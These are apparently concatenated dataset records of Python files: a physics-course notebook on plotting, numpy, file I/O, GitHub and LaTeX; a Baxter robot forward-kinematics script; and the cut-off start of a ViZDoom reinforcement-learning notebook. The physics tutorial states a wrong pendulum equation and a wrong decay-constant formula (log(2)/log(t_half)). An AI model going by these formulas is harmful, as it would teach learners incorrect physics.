graph', fontsize=16)\nax = fig.add_subplot(111)\nax.plot(x,y,marker='*',color='orange',ms=18,lw=0,label='SHO')\n\nax.set_xlabel(\"Angle (rad.)\",fontsize=22)\nax.set_ylabel(\"Amplitude (ft/s)\",fontsize=22)\nax.tick_params(axis='both', direction='out',length = 12.0, width = 8.0)\nax.set_xlim(0,2*np.pi)\nax.set_xticks([0,np.pi/2,np.pi,3.*np.pi/2.,2*np.pi])\nax.set_xticklabels(['0','$\\pi$/2','$\\pi$','$3\\pi/2$','2$\\pi$'])\nax.legend(loc='upper center',fontsize=20)\n\n\n# Figures can be saved to file using the `savefig` function, which takes the filename as an argument.  Additional keyword arguments (kwargs) can be applied that alter the display of the figure (e.g., dpi = 300 sets the dots per inch to 300).\n\n# In[ ]:\n\n\nfig.savefig(\"SHO.png\",bbox_inches='tight',dpi=300)\n\n\n# ### Modules to solve problems\n# \n# There are many modules within modules, where object-oriented notation is used to access them.  For example, you can generate a random number between 0--1 using the rand() function within the random module within the numpy module (i.e., np.random.rand()).\n\n# In[ ]:\n\n\nnp.random.rand()\n\n\n# Another extremely useful library for physicists is the linear algebra package in numpy. This package provides very fast routines for calculating anything having to do with matrices: eigenvalues, eigenvectors, solutions of systems of linear equations, and so on.\n# \n# >Example 1: In electronics, Kirchhoff's laws are used to solve for the currents through components in circuit networks. Applying these laws gives us systems of linear equations, which can then be expressed as matrix equations, such as:\n# \n# ![Kirchoff](Kirchoff_matrix.png)\n\n# In[ ]:\n\n\nA = np.matrix([[-13,2,4],[2,-11,6],[4,6,-15]]) #matrix is an array of an array\nB = np.array([5,-10,5])\nnp.linalg.solve(A,B)\n\n\n# ### Reading and writing data from a file\n\n# Python allows for many forms of input.  There are commands to request user input manually via the terminal window, where this can be a direct request or by command line arguments.  For computational physics, it is likely that you want to know how the output of a program changes with slightly different inputs or to visualize a data set.  At this point manual input is impractical and cumbersome.  In this section, you will learn how to read and write to data files so that you can save your work for later or prepare it for others to use.  Files are created using the open() function that takes a filename and a mode as input.  Here's a table detailing the different modes available to the open() function.\n# \n# | Character   | Meaning |\n# | ----------- | :-----------: |\n# | 'r'      | reading from a file; returns error if not found |\n# | 'w'   | writing to a file; creates a new file/overwrites existing file) |\n# | 'x'   | open for exclusive creation; failing if the file already exists |\n# | 'a'   | open for writing; appending to the end of the file if it exists |\n# | 'b'   | binary mode |\n# | 't'   | text mode (default) |\n# | '+'   | open for updating (reading and writing) |\n# \n# Let's generate some data using the equation for a simple pendulum:\n# \n# $\\ddot{\\theta} = \\sqrt{\\frac{g}{l}} \\theta$,\n# \n# which has the solution\n# \n# $\\theta(t) = \\theta_{max} \\sin \\left(\\sqrt{\\frac{g}{l}} t \\right)$,\n# \n# where $g$ represents the acceleration due to gravity, $l$ is the length, and $t$ is the time.  Now let's define some variables.\n# \n\n# In[ ]:\n\n\ng = 9.81 #m/s^2 Earth gravity near the surface\nl = 1 #meter long string\nt = np.arange(0,10.5,0.01) #10 seconds with 0.5 sec increments\ntheta_max = 45 #maximum amplitude in degrees\nfname = \"Simple_Pendulum.txt\"\n\ntheta = theta_max*np.sin(np.sqrt(g/l)*t)\nout = open(fname,'w') #create a text file and open it for writing\nout.write(\"#time (s), theta (deg)\\n\") #write a header\n\nfor i in range(0,len(t)):\n    out.write(\"%1.2f, %1.3f\\n\" % (t[i],theta[i]))\nout.close()\n\n\n# The data is written to \"Simple_Pendulum.txt\", which exists in the same directory as this Jupyter notebook.  In practice, you may want to include an absolute path in the filename.  Using our code from before, we will read the data from the file.  Notice that we formatted the header with a \\# symbol and the lines are comma delimited.  We are going to take advantage of this using the 'genfromtxt' function from numpy.\n\n# In[ ]:\n\n\nx,y = np.genfromtxt(\"Simple_Pendulum.txt\",delimiter=',',comments='#',unpack=True)\n\nfig = plt.figure()\nfig.suptitle('Simple Pendulum', fontsize=16)\nax = fig.add_subplot(111)\nax.plot(x,y,'r-',lw=3)\n\nax.set_xlabel(\"Time (s)\",fontsize=22)\nax.set_ylabel(\"Amplitude (deg)\",fontsize=22)\nax.tick_params(axis='both', direction='out',length = 12.0, width = 8.0)\nax.set_xlim(0,10)\nax.set_xticks(np.arange(0,12,2))\n\n\n# ## GitHub\n# \n# GitHub is a platform used by many disciplines to make code easier to develop, track, store, and share.  The platform provides a series of [guides](https://guides.github.com/) that introduce new users through common practices on GitHub.  In this section, we will focus on the [Hello World](https://guides.github.com/activities/hello-world/) guide.  Throughout the course, you will develop scripts to perform different tasks and a good way to organize your work is through a GitHub repository.  Repositories are free to create (as long as they are < 50 MB) and can serve as a useful place to backup your code.  To start this guide, you will need to have a GitHub.com account already created.\n# \n# ### Create a repository (**repo**)\n# A repository (or repo) can contain any kind of code (python, C++, Fortran, etc), spreadsheets, data files, Jupyter notebooks, and most types of files that you can think of. To create a repository:\n# - In the upper right corner, click + and then select **New Repository**.\n# - Name your repo `hello-world` for this exercise.\n# - Adding a short description is helpful for you (and others) to get a quick idea what the repo contains.\n# - **Public** repos can be seen by anyone on the internet.  Select this option once your repo is ready for the world to see.  **Private** repos allow the creator more control about who is able to view the repo, where users are allowed access one-by-one.\n# - Select **Initialize this repository with a README**.  Since your repos will likely be private, there is no need to add a license.  A license tells others what they may or *may not* do with your public work.  Academic researchers use a Creative Commons (CC) or MIT License that allow for pretty broad usage, where scientists within industry are more selective.\n# - Click **Create repository**.\n# \n# ### Create a Branch\n# Branching is the way to work on experimental parts of your repo.  By default your repo has a new branch named *main*, which is what each branch eventually converges to. To create a new branch:\n# \n# - Go to your repo `hello-world`\n# - Click the drop down that says **branch:main**.\n# - Type a branch name, `readme-edits`, into the new branch text box.\n# - Select the blue **Create branch** box.\n# \n# Now you have two branches, `main` and `readme-edits`.  These two branches are identical right now, but the changes you make to the `readme-edits` branch will not directly affect the `main` branch.\n# \n# ### Make and commit changes\n# \n# After creating your *readme-edits* branch, you should now be on the code-view for that branch.  Let's make some edits and see what happens.  Saved changes on GitHub are called commits.  Each commit also contains a description explaining why a particular change was made.  This is particurly useful for developing code over large periods of time or within groups.  Let's make some changes to the **README.md** file and commit those to the repo:\n# - Click the **README.md** file.\n# - Click the pencil icon in the upper right corner to edit.\n# - In the editor, write a bit about yourself.  What are your research interests?\n# - Write a commite message that describes your changes (e.g., \"I'm super awesome because I can make changes to my very own GitHub repo!\")\n# - Click the **Commit changes** button.\n# \n# The changes are now saved to the `readme-edits` branch, so now this branch is different than the `main` branch*.\n# \n# ### Open a Pull Request\n# \n# A pull request is a way for you (and others) to suggest changes to the *main* branch.  Since you made changes to the `readme-edits` branch, you can now issue a `pull request`.  A pull request will show the differences between both branches.  The changes, addition, and subtraction are shown in green and red.  In this process, you can also use the @mention system with other GitHub users to have discussions about the pull request and receive feedback.  Now we'll open a pull request so that you can see how to review changes (although you may not do this as often for your own repos).\n# \n# - Click the **Pull Request** tab, then click the green **New pull request** button.\n# - In the **Example Comparisons** box, select the `readme-edits` branch to compare with `main`.\n# - Look over the changes between branches and make sure they are what you want. Then click the green **Create Pull Request** button.\n# - Give your pull request a title and write a brief description of your changes.  Logging the changes in your edits will make it easier to diagnose problems later.\n# - Click **Create pull request**!\n# \n# ### Merge your Pull Request\n# \n# In the previous 2 sections, you made a new branch of `hello-world`, edited the branch, and submitted a pull request.  The final step is to bring the changes to the `main` branch.  To merge your `readme-edits` branch into `main`:\n# \n# - Click the green **Marge pull request** button to merge the changes into `main`.\n# - Click **Confirm merge**.\n# - Delete the `readme-edits` branch, since its changes have been incorporated with the **Delete branch** button in the purple box.\n# \n# ### GitHub Desktop\n# \n# The above guide can be used to create a repository through the web interface of GitHub.  When working with your own repos, it is a little easier to use **GitHub Desktop**, which is a desktop application that simplifies pushing changes to the `main` branch.  This requires a software install, which can be found [here](https://desktop.github.com/).  After installing the software, your can:\n# \n# - Clone your repository to your local path (File --> Clone repository).\n# - Open your repo from your local path and edit your files. \n# - After saving your files in the local path, the changes will appear in GitHub Desktop (simliar to a pull request).\n# - Add a description of the changes and click commit to the *main* branch (blue button)\n# - Click the **Push origin** button (update all your changes back to the web version of GitHub)\n# \n\n# ## LaTex (Preparing your work)\n# \n# In the past, scientists had to learn two skills: scientific inquiry and typesetting.  However, mathematicians developed a typesetting software, LaTex, that was more programattic, which made it easier to typeset equations within a document.  In this course, you will need to communicate your results to others (especially your instructor), where you will use LaTex.  To make it easier, we will use the online platform **Overleaf**.  Similar to the guide for GitHub, it is assumed that you have successfully created an Overleaf account.  Note that Overleaf provides its own guides that can be found [here](https://www.overleaf.com/learn/how-to/Creating_a_document_in_Overleaf).\n# \n# ### Creating a project\n# \n# Creating a project in Overleaf can be accomplished in **two** ways: 1) start a project from scratch or 2) start a project from a template.  To start a project from scratch:\n# \n# - Click the green **New Project** button\n# - Select **Blank Project**\n# - Name your project\n# - Click **Create** and then the editor will open\n# \n# To start a project from a template:\n# \n# - Click the green **New Project** button\n# - Select **Academic Journal** from the Templates\n# - Find the **RevTex** tag at the bottom (collection of green tags) and Click it\n# - Select the **RevTex 4.2** template from the American Physical Society\n# \n# When preparing your class assignments, you can build your project from scratch so that you can learn more about the LaTex environment.  To submit each of your projects, you will need to build from the **RevTex** template because it will import the default style for a Journal like *Physical Review*.\n# \n# ### Your 1st Document\n# \n# Open the blank project that you created in the previous section.  In this project, we will create a simple working example (look [here](https://www.overleaf.com/learn/latex/Creating_a_document_in_LaTeX)).  A LaTex document contains some *front* matter, a *body*, and some *back* matter.  The front matter tells the LaTex compiler what kind of document you are trying to create, how should the document be formatted *globally*.  The body will have the text, figures, and tables in a manner similar to most word processors.  The back matter will tell the LaTex compiler how to format references or setup an Appendix.\n# \n# Here's a simple working example: \n# \n# >\\documentclass{article}\n# \n# >\\begin{document}\n# \n# >First document. This is a simple example, with no extra parameters or packages included.\n# \n# >\\end{document}\n# \n# This example will create an **article** document, adds the text, and compiles it as a *pdf* file in the right window.\n# \n# ### The Front Matter\n# \n# The *front* matter is everything before the *>\\begin{document}* line.  Here, we will replace the *\\documentclass{article}* with the following:\n# \n# >\\documentclass[12pt, letterpaper]{article}\n# \n# >\\usepackage[margin=1.0in]{geometry}\n# \n# >\\usepackage[utf8]{inputenc}\n# >\n# >\\title{First document}\n# \n# >\\author{Your Name \\thanks{funded by the Overleaf team}}\n# \n# >\\date{\\today}\n# \n# Here's an explanation of what we just added:\n# \n# >\\documentclass[12pt, letterpaper]{article}\n# \n# \n# This defines the type of document with some additional parameters inside brackets that are comma-separated can be passed to the command. The extra parameters set the font size (12pt) and the paper size (letterpaper). Note that Overleaf uses a European LaTeX distribution, which produces documents in A4 size by default, so letterpaper is important.  Another important parameter that can be passed to the \\documentclass command is twocolumn if you want your text in a two-column format and twoside for two-side paper sheet printing. \n# \n# \n# >\\usepackage[margin=1.0in]{geometry}\n# \n# \n# This defines the page margins.  Everything you submit should have 1 inch margins.  More detail about paper size, orientation, and margins can be found [here](https://www.overleaf.com/learn/latex/Page_size_and_margins)\n# \n# >\\usepackage[utf8]{inputenc}\n# \n# \n# This is the encoding for the document to allow special characters beyond ASCII to be used in the text. It can be omitted or changed to another encoding but utf-8 is recommended. \n# \n# The next three lines are self-descriptive.  But you will need the *\\maketitle* **after** the \\begin{document} for those items to appear.\n# \n# ### The Body\n# \n# The body is similar to what you would find in a normal word processor.  The first element to add to the body is the *abstract*.  An abstract informs the reader what will follow in the rest of the document.  For your class projects, this will be a <250 word summary of your work.  In your class assignments, you can write a summary of what you learned so that when *future* you comes back to it, it will hopefully make sense.  To create an abstract:\n# \n# >\\begin{abstract}\n# \n# >This is a simple paragraph at the beginning of the document. A brief introduction to the main subject.\n# \n# >\\end{abstract}\n# \n# you must create an abstract environment.  Environments (e.g., abstract, figure, table, equation) always have a \\begin and an \\end statement to tell the LaTex compiler that it needs to do something different here and for how long.\n# \n# There are other elements that in the body that **don't** need an environment because they are self explanatory to the compiler when to stop.  For example, you can organize the body using sections, subsections, subsubsections, etc.  Although an environment is not required, you do need a `\\` to tell the compiler that it isn't really text either.\n# \n# >\\section{Introduction}\n# \n# >\\section{Methods}\n# \n# >\\subsection{Newton's 1st Law}\n# \n# >\\subsubsection{Einstein's Theory of General Relativity}\n# \n# >\\section{Results}\n# \n# In the above examples:\n# \n# - The first section is the Introduction and it will be enumerated starting from 1.  The LaTex compiler will know when the Introduction ends when it encounters the next \\section command.\n# - The second section called Methods (enumerated with 2) has a subsection called Newton's 1st Law.  Subsections are then enumerated with a \".#\", where the above subsection is 2.1. Subsubsections will gain an additional \".#\" so that it will numbered 2.1.1. \n# - The third section (enumerated with 3) tells the compiler to go back to the previous level in the tree.\n# \n# Between section commands, this is where the main text will appear. In contrast to a word processor (like Word), LaTex allows for inline commands.  The most common inline commands are:\n# \n# - Enter math mode with \\$ signs.  Suppose you need the greek letter $\\alpha$, then you can easily add it to your text by placing the \\alpha between \\$ \\$.  This is less cumbersome than having to define a macro in Word.  Anything that you could do in an equation, can be done in math mode (e.g., \\frac{1}{2}x^2 in between \\$ signs appears as $\\frac{1}{2}x^2$)\n# - Cite a reference.  This will be explained more later.\n# - Add a comment to the writer using \\%.  Everything on a line that comes after \\% will not appear in the pdf document, but can serve as a note for later.\n# - You can add text formatting for **bold**, *italics*, or $\\texttt{texttype}$ using: \\textbf, \\textit, or \\texttt.\n# \n# Figures and tables are created using an environment (recall that this means begin and end statements).  For many of the extra features for figures, you will need to add `\\usepackage{graphicx}` to the front matter. Figures and tables have similar structures as you can see in these basic examples:\n# \n# >\\begin{figure}[!h]\n# \n# >\\centering\n# \n# >\\includegraphics[width=\\linewidth]{filename.png}\n# \n# >\\caption{This is the figure caption, which describes basic aspects of the figure to the reader. \\label{fig:Fig1}}\n# \n# >\\end{figure}\n# \n# and\n# \n# >\\begin{table}[!h]\n# \n# >\\centering\n# \n# >\\begin{tabular}{c|c|c}\n# \n# >\\hline\n# \n# >cell11 & cell12 & cell13 \\ \\\n# \n# >cell21 & cell22 & cell23 \\ \\\n# \n# >cell31 & cell32 & cell33 \n# \n# >\\end{tabular}\n# \n# >caption{This is a table caption, which describes the basic apsects of the table or gives the table a title.  \\label{tab:Tab1}}\n# \n# >\\end{table}\n# \n# The figure and table environment have a [] after the begin statement, where positioning arguments are placed (e.g., !=override default, h=here, t=top of page, b=bottom of page).  This is followed by \\centering, which tells the LaTeX compiler to place the figure/table in the center of the page (<------center------->).  The figure environment relies on the `\\includegraphics` command from the graphicx package, which this has a [] for arguments that tell the LaTeX compiler how to scale the figure.  In the above example, the figure is scaled so that the width of the figure spans an entire line.  The {} after \\includegraphics holds the filename of the image (e.g., `filename.png`), where LaTex can handle many filetypes (e.g., png, jpg, and pdf are the most common).  The table environment is different in that it holds *tabular* environment within *table* environment.  The tabular environment has arguments {} that tell the LateX compiler: \n# \n# - the number of columns (implicitly),\n# - the alignment within columns (explicitly), and\n# - the borders between columns. \n# \n# The columns can be left (l), center (c), or (r) aligned, where the total number of these characters indicates the number of columns (3l's = 3 columns left aligned).  The \\hline command draws a horizontal line that spans the width of the table.  The data within the table is separated using the `&` symbol and a row is terminated with `\\\\`.  The last row **doesn't** need to be terminated with `\\\\` and the `\\end{tabular}` must follow on the next line.\n# \n# Both figures and tables use the *caption* environment to hold the description and a *label* environment so that the figure/table can be dynamically referenced in the text (using `\\ref{fig:Fig1}` or `\\ref{tab:Tab1}`).  The beauty of LaTex is that the referencing system keeps track of the figure and table numbering so that if the order of tables are switched, then the numbering is updated with the next compilation.  Finally, both figures and tables **require** an \\end statement.\n# \n# The LaTex compiler will abort or crash if a given environment does not have matching {} or begin/end statements.  This is usually indicated in the compilation log (upper right button **View Logs**).\n# \n# ### The Back Matter\n# \n# The back matter contains supplementary information to the body (e.g., acknowledgments, references, appendices).  The acknowledgments (**note the spelling**) is an environment so it needs a \\begin{acknowledgments} and an \\end{ackowledgments}, where this section is where you would thank particular individuals/institutions that aided in the completion of the project (e.g., converstations, resources, proofing).  \n# \n# An appendix is started with the `\\appendix` command, which behaves much like the body but includes supplementary material (e.g., a derivation of an equation, how a new method was verified) and it's labeled with letters (A,B,C,...).  For you, this is where you can put the code that you generate using the \\verbatim environment.  Addtional guides on how to include code in Latex can be found [here](https://www.overleaf.com/learn/latex/Code_listing).\n# \n# In addition to the ease of generating equations, LaTex is preferred because it makes referencing easier too with BibTex.  At the end of your document, references are included by telling LaTex the referencing style (e.g., apsrev4-2.bst for *Physical Review*) and a database of references (e.g., references.bib) through supplemental files.  You must include the following for the references:\n# \n# >\\bibliographystyle{style_filename.bst}\n# \n# >\\bibliography{reference_filename.bib}\n# \n# The reference database (*.bib file) will contain entries like the following:\n# \n# ```\n# @ARTICLE{Berman1983,\n#    author       = \"Berman, Jr., G. P. and Izrailev, Jr., F. M.\",\n#    title        = \"Stability of nonlinear modes\",\n#    journal      = \"Physica D\",\n#    volume       = \"88\", \n#    pages        = \"445\",\n#    year         = \"1983\",\n# }\n# ```\n# where the `Berman1983` is a label used for the inline citation command within the body (e.g., \\cite{Berman1983}).  The quotation marks for each field tell BibTex not to change the formatting (i.e., captialization).  There are different types of environments that correspond to different references (e.g., ARTICLE, BOOK, INPROCEEDINGS, etc.).  Remember that environments require an opening { and closing }.\n# \n# The inline citations have more variations within Astronomy because that community uses the author (year) referencing style, while Physical review uses a [number] style.  In this course, you will use the latter.\n\n# ## Problems\n# - Complete the following problems in a Jupyter notebook, where you will save your results as an external file (*.png).\n# - Create a LaTex document with:\n#     - an abstract summary\n#     - sections for each problem that state the problem, summarize what you did, and display the results\n#     - include a reference for each solution (this can be textbooks)\n# \n# 1. Graph both of the following functions on a single figure, with a usefully sized scale.\n# \n#     a. $x^4e^{-2x}$\n#     \n#     b. $[x^2e^{-x}\\sin(x^2)]^2$\n# 2. The file Ba137.txt contains two columns. The first is counts from a Geiger counter, and the second is time in seconds.\n# \n#     a. Make a useful graph of this data.\n#     \n#     b. If this data follows an exponential curve, then plotting the natural log of the data (or plotting the raw data on a logrithmic scale) will result in a straight line. Determine whether this is the case, and explain your conclusion with an appropriate graph.\n# 3. The data in the file Ba137.txt is actual data from a radioactive decay experiment; the first column is the number of decays $N$, the second is the time $t$ in seconds. We'd like to know the half-life $t_{1/2}$ of $^{137}$Ba. It should follow the decay equation\n# $N = N_oe^{-\\lambda t}$\n# where $\\lambda = \\log(2)/\\log(t_{1/2})$. Using the techniques you've learned in this notebook, load the data from file Ba137.txt into appropriately-named variables. Experiment with different values of $N_o$ and $\\lambda$ to create a plot of the resulting equation on top of the data. What is your best estimate for $t_{1/2}$?\n# 4. The normal modes and angular frequencies of those modes for a linear system of four coupled oscillators of mass m, separated by springs of equal strength k, are given by the eigenvectors and eigenvalues of M, shown below.  Find the eigenfrequencies (Try [linalg.eig](https://numpy.org/doc/stable/reference/generated/numpy.linalg.eig.html#numpy.linalg.eig) from numpy).\n# \n#     ![Coupled_Oscillator](Coupled_Oscillator_matrix.png)\n# 5. Create a single plot that shows separate graphs of position, velocity, and acceleration for an object in free-fall. Your plot should have a single horizontal time axis and separate stacked graphs showing position, velocity, and acceleration each on their own vertical axis. The online matplotlib gallery will probably be helpful! Print the graph, with your name in the title.\n", "meta": {"hexsha": "fb330716d007bad618fdc9ff326d080020599c09", "size": 36452, "ext": "py", "lang": "Python", "max_stars_repo_path": "_build/jupyter_execute/courseware/Chapter_1/Gentle_Introduction.py", "max_stars_repo_name": "saturnaxis/PHYS3820_Book", "max_stars_repo_head_hexsha": "e6ead8c5353c7cfacba58376d259f6c3a11b0b3a", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "_build/jupyter_execute/courseware/Chapter_1/Gentle_Introduction.py", "max_issues_repo_name": "saturnaxis/PHYS3820_Book", "max_issues_repo_head_hexsha": "e6ead8c5353c7cfacba58376d259f6c3a11b0b3a", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "_build/jupyter_execute/courseware/Chapter_1/Gentle_Introduction.py", "max_forks_repo_name": "saturnaxis/PHYS3820_Book", "max_forks_repo_head_hexsha": "e6ead8c5353c7cfacba58376d259f6c3a11b0b3a", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2022-01-17T23:19:38.000Z", "max_forks_repo_forks_event_max_datetime": "2022-01-17T23:19:38.000Z", "avg_line_length": 69.4323809524, "max_line_length": 946, "alphanum_fraction": 0.7368319982, "include": true, "reason": "import numpy,from numpy", "num_tokens": 9104, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.34864514886966624, "lm_q2_score": 0.2200070997458932, "lm_q1q2_score": 0.07670440804329044}}
{"text": "#!/usr/bin/env python\r\n\r\n# This script should return the x y z and orientation coordinates of the end effector of the left limb.\r\n# PLEASE ADD YOUR CODE WHERE INDICATED\r\n# Avoid modifying the rest of the code if not necessary\r\n#\r\n# Authors: Stefano Pietrosanti - s.pietrosanti@pgr.reading.ac.uk\r\n#          Guy Butcher\r\n\r\nimport rospy\r\nimport baxter_interface\r\nimport numpy\r\nfrom geometry_msgs.msg import (\r\n    PoseStamped,\r\n    Pose,\r\n    Point,\r\n    Quaternion,\r\n)\r\n\r\nprint(\"MIM tutorial: forward kinematics.\")\r\n# Initialising ROS node\r\nrospy.init_node(\"SSE_forward_kinematics\")\r\n\r\n######################  INSERT YOUR CODE HERE\r\n# Create a \"Limb\" instance called \"left_arm\" linked to Baxter's left limb\r\n\r\nleft_arm = baxter_interface.Limb('left')\r\n\r\n# Create a \"pose\" variable which holds the output of endpoint_pose()\r\n\r\npose = left_arm.endpoint_pose()\r\n\r\n######################\r\n\r\n\r\n\r\n# Return pose\r\nprint(\"Endpoint coordinates:\")\r\nprint(\"X: \" + str(pose['position'].x))\r\nprint(\"Y: \" + str(pose['position'].y))\r\nprint(\"Z: \" + str(pose['position'].z))\r\n", "meta": {"hexsha": "18052832540610d7ca08ec0b648abb1e9982b135", "size": 1057, "ext": "py", "lang": "Python", "max_stars_repo_path": "forward_kinematics.py", "max_stars_repo_name": "smdth/mimLab", "max_stars_repo_head_hexsha": "78a49c17a4e103841f49cd4b880561a490682864", "max_stars_repo_licenses": ["0BSD"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "forward_kinematics.py", "max_issues_repo_name": "smdth/mimLab", "max_issues_repo_head_hexsha": "78a49c17a4e103841f49cd4b880561a490682864", "max_issues_repo_licenses": ["0BSD"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "forward_kinematics.py", "max_forks_repo_name": "smdth/mimLab", "max_forks_repo_head_hexsha": "78a49c17a4e103841f49cd4b880561a490682864", "max_forks_repo_licenses": ["0BSD"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 25.1666666667, "max_line_length": 104, "alphanum_fraction": 0.6669820246, "include": true, "reason": "import numpy", "num_tokens": 254, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4843800842769844, "lm_q2_score": 0.15817435671676675, "lm_q1q2_score": 0.07661650823692527}}
{"text": "# ---\n# jupyter:\n#   jupytext:\n#     text_representation:\n#       extension: .py\n#       format_name: light\n#       format_version: '1.5'\n#       jupytext_version: 1.11.3\n#   kernelspec:\n#     display_name: Python 3\n#     name: python3\n# ---\n\n# + [markdown] id=\"view-in-github\" colab_type=\"text\"\n# <a href=\"https://colab.research.google.com/github/probml/pyprobml/blob/master/book2/rl/rl_demos.ipynb\" target=\"_parent\"><img src=\"https://colab.research.google.com/assets/colab-badge.svg\" alt=\"Open In Colab\"/></a>\n\n# + [markdown] id=\"POrA585UFLms\"\n#\n#\n# ![GitHub](https://img.shields.io/github/license/probml/pyprobml)\n#\n# Colab authors: Kevin P. Murphy (murphyk@gmail.com) and Mahmoud Soliman (mjs@aucegypt.edu)\n#\n#\n\n# + id=\"I3CEU8u0FQR0\"\n# Attribution \n# This notebook is based on the following: \n# https://github.com/mjsML/VizDoom-Keras-RL\n# https://colab.research.google.com/github/keras-team/keras-io/blob/master/examples/rl/ipynb/actor_critic_cartpole.ipynb\n\n# + id=\"qEYlbLuzFh_b\" colab={\"base_uri\": \"https://localhost:8080/\"} outputId=\"b0661fbe-0e44-4a7a-ae7b-d5c081893257\"\n# Imports\nfrom tensorflow.python.client import device_lib\nfrom psutil import virtual_memory\nimport cv2\nfrom google.colab.patches import cv2_imshow\n# %tensorflow_version 2.x\nimport tensorflow as tf\nimport os\n\n\nfrom sklearn.neighbors import KNeighborsClassifier as KNN\nfrom sklearn.model_selection import cross_val_score\n\n\nfrom sklearn.datasets.samples_generator import make_blobs\nfrom  IPython import display\nfrom matplotlib import pyplot as plt\n\nimport numpy as np\n\nimport pathlib\nimport shutil\nimport tempfile\n\nfrom tqdm import tqdm\n\n# + id=\"X_8KoI6UFkRo\" colab={\"base_uri\": \"https://localhost:8080/\"} outputId=\"0055b9e3-d953-4304-830f-ad9fdd54c2e0\"\n#title Hardware check \n\n\n\ndef find_accelerator():\n  \n  mem = virtual_memory()\n  devices=device_lib.list_local_devices()\n  RAM=\"Physical RAM: {:.2f} GB\".format(mem.total/(1024*1024*1024))\n  try:\n    tpu = tf.distribute.cluster_resolver.TPUClusterResolver()  \n    device=[\"TPU at \"+str(tpu.cluster_spec().as_dict()['worker'])]  \n  except ValueError:\n    device =[d.physical_device_desc for d in devices if d.device_type==\"GPU\"]\n  if not device:\n    return None, RAM\n  return device ,  RAM \n\na,r=find_accelerator()\nprint(\"Please make sure that the statement below says Accelerator found\")\nprint(\"Accelerator found:\",a,r)\n\n\n\n# + id=\"w3V-stpMFlJN\" colab={\"base_uri\": \"https://localhost:8080/\"} outputId=\"5f55dbeb-d950-4b08-b707-018a03c05f3a\"\n#title Install the extra required packages if any\n# Installation of libs as per \n# https://stackoverflow.com/questions/50667565/how-to-install-vizdoom-using-google-colab\n\n# %%bash\n# Install deps from \n# https://github.com/mwydmuch/ViZDoom/blob/master/doc/Building.md#-linux\n\napt-get install build-essential zlib1g-dev libsdl2-dev libjpeg-dev \\\nnasm tar libbz2-dev libgtk2.0-dev cmake git libfluidsynth-dev libgme-dev \\\nlibopenal-dev timidity libwildmidi-dev unzip\napt-get install libboost-all-dev\napt-get install liblua5.1-dev\n\n# + [markdown] id=\"M5vmaF61ZvV5\"\n# #Partially observed Markov decision processes (POMDPs) \n# We will start by exploring POMDPs , the states of the environment, $z_{t}$ , are hidden from the agent. The agent gets to see partial observations derived from the hidden state, which we denote by\n# $s_{t} \\in \\mathcal{S}$ these are sampled from the observation model, $p(s_{t}|z_{t})$.\n#\n# In this example we will work with ViZDoom and Deep Recurrent Q Network.\n#\n# Note that this is a quick overview example, the details will be discussed later.\n\n# + [markdown] id=\"JBTCb79f72TU\"\n#  ## Deep Recurrent Q Network\n\n# + id=\"Q0npOg2hPfrF\" colab={\"base_uri\": \"https://localhost:8080/\"} outputId=\"70d73c24-44f4-466b-ed6b-a338474c9b2c\"\n#title Install ViZDoom... takes few mins\n\n# !pip install vizdoom\n\n\n# + id=\"5HSk5mAdPbIv\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 1000} outputId=\"8480df6f-678c-46fd-c051-309b828bc49a\"\n#title Clone ViZDoom-Keras-RL repo and imports\n# Clone VizDoom-Keras-RL\n# !git clone https://github.com/mjsML/VizDoom-Keras-RL.git\n# %cd /content/VizDoom-Keras-RL\nfrom __future__ import print_function\n\nimport skimage as skimage\nfrom skimage import transform, color, exposure\nfrom skimage.viewer import ImageViewer\nimport random\nfrom random import choice\nimport numpy as np\nfrom collections import deque\nimport time\n\nimport json\nfrom keras.models import model_from_json\nfrom keras.models import Sequential, load_model, Model\nfrom keras.layers.wrappers import TimeDistributed\nfrom keras.layers.core import Dense, Dropout, Activation, Flatten, RepeatVector, Masking\nfrom keras.layers import Convolution2D, Dense, Flatten, MaxPooling2D, Input, AveragePooling2D, Lambda, Activation, Embedding\n#tf.keras.layers.Concatenate(axis=1)([x, y])\nfrom keras.layers.recurrent import LSTM, GRU\n#from keras.optimizers import SGD, Adam, rmsprop\nfrom keras.optimizers import SGD, Adam\nfrom keras import backend as K\n\nfrom vizdoom import DoomGame, ScreenResolution\nfrom vizdoom import *\nimport itertools as it\nfrom time import sleep\nimport tensorflow as tf\n\nfrom networks import Networks\n\n\n# + id=\"7Pqux1c-Trj4\"\n#title Setup ViZDoom with defend the center scenario\n\n#TF2 TF1 compatibility \nconfig = tf.compat.v1.ConfigProto()\nconfig.gpu_options.allow_growth = True\nsess = tf.compat.v1.Session(config=config)\ntf.compat.v1.keras.backend.set_session(sess)\n\nfrom drqn import ReplayMemory,DoubleDQNAgent,preprocessImg\n\ngame = DoomGame()\ngame.load_config(\"/content/VizDoom-Keras-RL/defend_the_center.cfg\")\ngame.set_sound_enabled(True)\ngame.set_screen_resolution(ScreenResolution.RES_640X480)\ngame.set_window_visible(False)\ngame.init()\n\ngame.new_episode()\ngame_state = game.get_state()\n\nmisc = game_state.game_variables  # [KILLCOUNT, AMMO, HEALTH]\nprev_misc = misc\n\naction_size = game.get_available_buttons_size()\n\nimg_rows, img_cols = 64, 64\nimg_channels = 3  # Color channel\ntrace_length = 4  # Temporal Dimension\n\nstate_size = (trace_length, img_rows, img_cols, img_channels)\nagent = DoubleDQNAgent(state_size, action_size, trace_length)\n\nagent.model = Networks.drqn(state_size, action_size, agent.learning_rate)\nagent.target_model = Networks.drqn(\n    state_size, action_size, 